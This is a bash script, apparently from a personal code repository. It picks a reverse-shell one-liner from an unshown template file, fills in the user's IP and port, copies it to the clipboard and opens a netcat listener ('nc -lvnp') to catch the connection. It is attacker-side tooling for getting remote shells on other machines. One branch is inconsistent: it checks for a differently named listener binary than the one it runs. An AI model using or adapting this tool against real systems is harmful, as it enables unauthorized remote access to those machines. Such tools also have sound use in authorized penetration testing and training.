You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

66 lines
1.3 KiB

#!/usr/bin/env bash
#
# Use dmenu to pick a reverse shell
#
# Requirements:
# dmenu, xsel
#
SHELLS="$(dirname $0)/shells.txt"
function notify() {
if [ "$(command -v notify-send)" ]; then
notify-send "$1" "$2"
fi
}
function getIP(){
ip route |
grep -oe 'src [^ ]* ' | # Get in the form 'src ipaddress'
awk '{print $2}' | # Get the ip
sort -u | # Get the unique ones
rofi -dmenu -i -p "IP Address"
}
function getPort() {
rofi -dmenu -p "Port"
}
function getReverseShell() {
ip="$1"
port="$2"
cat "$SHELLS" |
sed "s/\[IPADDR\]/$ip/g" |
sed "s/\[PORT\]/$port/g" |
rofi -dmenu -i -p "Reverse Shell" |
cut -d'|' -f2-
}
function getRows(){
stty -a | head -n 1 | cut -d ';' -f 2 | cut -d ' ' -f 3
}
function getCols(){
stty -a | head -n 1 | cut -d ';' -f 3 | cut -d ' ' -f 3
}
function display() {
ip=$(getIP)
port=$(getPort)
reverseShell=$(getReverseShell $ip $port)
echo -n "$reverseShell" | /usr/bin/xclip -i -selection clipboard
echo -n "$reverseShell" | /usr/bin/xclip -i -selection primary
type -p resizeblar-netcat-listener &&
resize-netcat-listener -r /home/jonathan/go/src/resize-nc-listener/examples/stty-resize-copy $port ||
nc -lvnp $port
#Put the tty back to normal
# This is useful if I got a nice shell before
stty -raw echo
}
# display displays :)
display